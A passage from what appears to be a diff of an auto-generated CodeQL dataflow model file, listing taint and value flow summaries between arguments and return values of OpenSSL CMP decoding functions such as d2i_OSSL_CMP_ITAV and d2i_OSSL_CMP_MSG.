unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_PKIBODY", "(OSSL_CMP_PKIBODY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", 